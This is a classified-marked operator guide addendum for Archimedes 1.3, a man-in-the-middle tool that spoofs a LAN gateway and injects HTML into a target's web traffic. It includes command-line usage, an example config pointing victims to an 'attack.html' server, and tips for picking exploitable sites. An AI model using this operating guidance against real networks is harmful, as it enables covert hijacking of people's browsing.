



# (S) Engineering Development Group

(S) UMBRAGE PROJECT

## **(S) Archimedes 1.3**

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(U) Tool Documentation

(U) Document Rev. 1.0

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SECRET//NOFORN

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# (S) ARCHIMEDES 1.3

(S//NF) This document is supplemental to the following documents:

- Fulcrum User Manual 0.6
- Archimedes 1.0 User Guide
- Archimedes 1.1 Addendum
- Archimedes 1.2 Addendum

(S//NF) Please see the above documents for a complete description of the tool's functionality. Archimedes 1.3 is an update to the Archimedes toolset which adds ICEv3 support and the ability to run on targets with multiple gateways or IP addresses assigned to a single adapter. Archimedes 1.3 supersedes Archimedes 1.2.

(S//NF) Archimedes 1.3 makes the following modifications to the 1.2 version:

1. Adds "IP" configuration option ("-a" via command line) for specifying the local IP address that should be used for adapters that have multiple addresses defined.
2. Adds the ability to cycle through entries to identify the correct gateway address to use for adapters with multiple gateway addresses defined for a single adapter.
3. Adds support for the NOD In Memory Code Execution (ICE) specification version 3 FINAL. Archimedes can be injected as an ICEv2 or ICEv3 DLL.

## (U) FILE INFORMATION

(S) Appendix B contains a list of the binaries delivered in Archimedes 1.3 along with MD5 sums and file sizes that can be used to verify file integrity.

### **(S//NF) DEBUG BINARIES ARE CLASSIFIED SECRET//NOFORN AND SHOULD NOT/NOT BE DEPLOYED ON TARGET**

(S//NF) Note that the delivery includes both debug and release builds of each binary. The debug builds contain additional instrumentation that can be helpful in pin-pointing errors and unexpected behavior and will generate log information that can be used to trace the program's execution. **Debug versions should not be deployed outside of a controlled CLASSIFIED environment. The additional information in them makes the software particularly vulnerable to reverse engineering and analysis.** Debug versions of the tool should be used in controlled test environments only.

**(U) NEW FEATURES****(S) SUPPORT FOR ADAPTERS WITH MULTIPLE ADDRESSES**

(S//NF) Versions of Archimedes prior to 1.3 will fail silently when the tool is executed on a computer with more than one IP address or gateway address assigned to a single network adapter. This configuration is illustrated in the following figure:

```
>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
    Connection-specific DNS Suffix . :
    IP Address. . . . . : 192.168.100.100
    Subnet Mask . . . . . : 255.255.255.0
    IP Address. . . . . : 192.168.200.100
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 172.16.1.1
                               192.168.200.10
                               2.2.2.1
```

(S//NF) Note that this configuration illustrates a single network adapter that has been configured with multiple IP and gateway addresses, not a computer with multiple network adapters (the latter case is handled appropriately by all versions of Archimedes).

(S//NF) Archimedes 1.3 will attempt ARP resolution for the provided gateway MAC address in order to identify the appropriate gateway IP address. For situations with multiple gateway addresses and a single IP address, Archimedes 1.3 will operate without requiring any additional configuration.

(S//NF) Adapters with multiple IP addresses require that the operator specify which IP address should be used in the DNS cache injection attack. The operator should choose the IP address that is on the same network segment as the gateway and victim that is being targeted. The following sections describe how to specify this address from the command line or in the configuration file.

**(S) COMMAND LINE ADDRESS SPECIFICATION**

(S//NF) Support for multiple IP addresses requires the use of the “-a” command line argument.

**ARCHIMEDES 1.3 USAGE****REQUIRED**

```
-t [Target MACAddress]
-g [Gateway MACAddress]
```

**OPTIONAL**

```
-u [Injected URL, required except for SURVEY_ONLY (S0) method, No default]
-d [MILLISECONDS_BETWEEN_SPOOFS, Optional, Default: 1000]
-v [VERIFY_ROUTE (TRUE/FALSE), Optional, Default: FALSE]
-m [INJECTION_METHOD, Optional, Default: S0]
-p [PORT for HTTP monitoring, Optional, Default: 80]
```

-w [HOST\_WHITELIST Optional, Default: (empty)]  
 -a [IP ADDRESS to use if multiple addresses exist on local adapter]

**Example:**

- 1) f32.exe -t 00:0C:29:BD:34:45 -g 00:0c:29:61:d0:d7 -m SO
- 2) f32.exe -t 00:0C:29:BD:34:45 -g00:0c:29:61:d0:d7 -u http://10.0.0.11/attack.html  
 -v FALSE -m HI -w [www.mytest.com](http://www.mytest.com),[mytest.com](http://mytest.com),[www.yahoo.com](http://www.yahoo.com) -a 192.168.10.123

(S//NF) Spaces between the switch and the argument are optional. **Please see the “APPLICATION DEFAULTS” section below for information on the default values of each configuration value.** Note that the injected URL value is required, except for SURVEY\_ONLY (SO) mode.

## (U) SPECIFYING THE ADDRESS AS A CONFIGURATION ITEM

(S//NF) The following configuration item has been added to Archimedes 1.3 and is in addition to the item described in the Archimedes 1.2 documentation:

OLD NAME	NEW NAME	DESCRIPTION
N/A	IP	IP address to use if multiple addresses exist on a local network adapter (optional).

## (C) IN MEMORY CODE EXECUTION (ICE) SUPPORT

(S//NF) Archimedes 1.3 has been updated to support both ICEv2 and ICEv3 fire-and-forget loading. The XML files associated with ICEv3 loading are included in the tool’s “bin” directory. The ICE capable loader may require that the matching XML file is provided in order to load/execute ICEv3 modules.

## (U) APPLICATION DEFAULTS

(S//NF) The default value for the new “IP” option (“-a” on the command line) is empty. This does not change the default behavior of Archimedes 1.2.

## (U) TROUBLESHOOTING

(S//NF) Archimedes versions prior to 1.3 will fail silently on targets with multiple addresses or multiple gateways assigned to a single network adapter. Version 1.3 adds the ability to auto-detect the appropriate gateway (via ARP) and allows the user to specify the local IP address that should be used.

(S//NF) Version 1.2 requires that the new names (as described in the “Renamed Configuration Items” section) are used in the configuration file and for the

INJECTION\_METHOD as specified on the command line. For example, one must use “-m DF” for the DOUBLE\_FRAME method. Using the old style name will cause Archimedes to fail.

(S//NF) Archimedes verifies a successful injection against a target by monitoring the HTTP traffic for the target’s request that contains the injected URL. Unfortunately, **if the injected URL uses an SSL connection or uses a port other than the monitored port, then the injected URL will never be seen**. After waiting a few seconds, Archimedes will reset itself and perform the injection attack again. This will occur 5 times before the tool gives up and quits. It is highly recommended that the operator stops Archimedes (using the appropriate stop EXE/DLL) once a successful attack has been performed (as determined by observing the call-in to the attack server).

(S//NF) Certain HTML tags designed to protect users against cross-site scripting attacks are incompatible with the HTML injected by some of the injection methods. These tags, which prevent the use of FRAMES or IFRAMEs, will cause a blank page to load on the target or a warning to appear in the browser. It has been observed that several popular websites (e.g. [www.google.com](http://www.google.com)) employ these tags, so the purpose of the survey mode and whitelist is to allow an operator to specify a (small) set of exploitable sites based on observed traffic.

(S//NF) Archimedes and Fulcrum only inject into HTTP requests that reference the root of the document directory. For example, <http://www.test.com/> but not <http://www.test.com/subdir/index.html> . This continues to be true when targeting proxied network connections.

**(S//NF) The DEBUG binaries are classified SECRET//NOFORN and can be used to obtain additional information in a classified lab environment.**

**(U) APPENDIX A: EXAMPLE CONFIGURATION FILE**

(S//NF) The following example configuration file uses the new configuration strings to specify options. The configuration file must be encrypted to a file named "f.cfg" using the Encrypter32 application (see "Fulcrum 0.6 User Guide" and "Archimedes 1.0 User Guide" for details).

**File: f.cfg.plaintext**

```
VM=00:0C:29:BD:34:45
HM=00:0c:29:61:d0:d7
MS=1000
IU=http://10.0.0.11/attack.html
IM=HI
MT=text/html, */*
UW=
UB=
VR=FALSE
HW=www.yahoo.com, www.mytarget.com, mytarget.com
PT=80
IP=192.168.10.123
```

**(U) APPENDIX B: FILE INTEGRITY DATA****UNCLASSIFIED BINARIES FOR DEPLOYMENT**

[Path] / filename	MD5 sum
-----	
[\RC1\bin\U\]	
encrypter32.exe	f2fc11f71c3008cd2e4594437d156f4e
f32.dll	13af7fb4534750fc3d672fd359fdf20c
f32.exe	a5b17f9ffc06d2acbb331df24ad0fb54
f64.dll	d198f1a9cdf76ed5bc0e33a817bd2ae5
f64.exe	b489e6956a2a865788546c0fb6c9163c
fs32.dll	2be39ec8320637f3f60d4c040a0d315d
fs32.exe	11eddc70f71defe214ae8912c63e5f4
fs64.dll	3afe914cd4c039a6f44c34741af0182b
fs64.exe	9d2932b52a824bce66a5587c3afeedaa
01/14/2014 08:34 AM	72,704 encrypter32.exe
01/14/2014 08:33 AM	1,048,576 f32.dll
01/14/2014 08:33 AM	1,048,064 f32.exe
01/14/2014 08:33 AM	1,050,112 f64.dll
01/14/2014 08:33 AM	1,049,600 f64.exe
01/14/2014 08:34 AM	34,304 fs32.dll
01/14/2014 08:34 AM	33,792 fs32.exe
01/14/2014 08:34 AM	39,424 fs64.dll
01/14/2014 08:34 AM	38,400 fs64.exe

\* Encrypter32.exe should be considered sensitive and should be kept in a controlled environment.

**SECRET//NOFORN BINARIES FOR TESTING IN CLASSIFIED ENVIRONMENTS**

[Path] / filename	MD5 sum
-----	
[\Archimedes_v1.3\RC1b\bin\SECRET_NOFORN\DEBUG_ONLY\]	
encrypter32_dbg.exe	279730a8e7b23a8bf2c06aea0c32b1b0
f32_dbg.dll	4eaf2b3244cbf3b467cf4db79a955275
f32_dbg.exe	d91a46d0b29f34bdd3277fe53dc1c031
f64_dbg.dll	c7a35d78dc3f47c880eb7c4ee20d73d5
f64_dbg.exe	44cb9b2a174720e2dd11abb6b7897926
fs32_dbg.dll	112fd3445f9fb60abd4288002fe9cfc
fs32_dbg.exe	0c4dff8114b1830c985cf5adf14b415c
fs64_dbg.dll	98f676004fc4f3330d055d65d61f99c8
fs64_dbg.exe	6c4158461dd177fd114c27d9ad5ee809
01/14/2014 08:39 AM	72,704 encrypter32_dbg.exe
01/14/2014 08:38 AM	1,059,840 f32_dbg.dll
01/14/2014 08:38 AM	1,059,328 f32_dbg.exe
01/14/2014 08:38 AM	1,063,424 f64_dbg.dll
01/14/2014 08:38 AM	1,062,400 f64_dbg.exe
01/14/2014 08:39 AM	34,304 fs32_dbg.dll
01/14/2014 08:39 AM	33,792 fs32_dbg.exe
01/14/2014 08:39 AM	39,424 fs64_dbg.dll
01/14/2014 08:39 AM	38,400 fs64_dbg.exe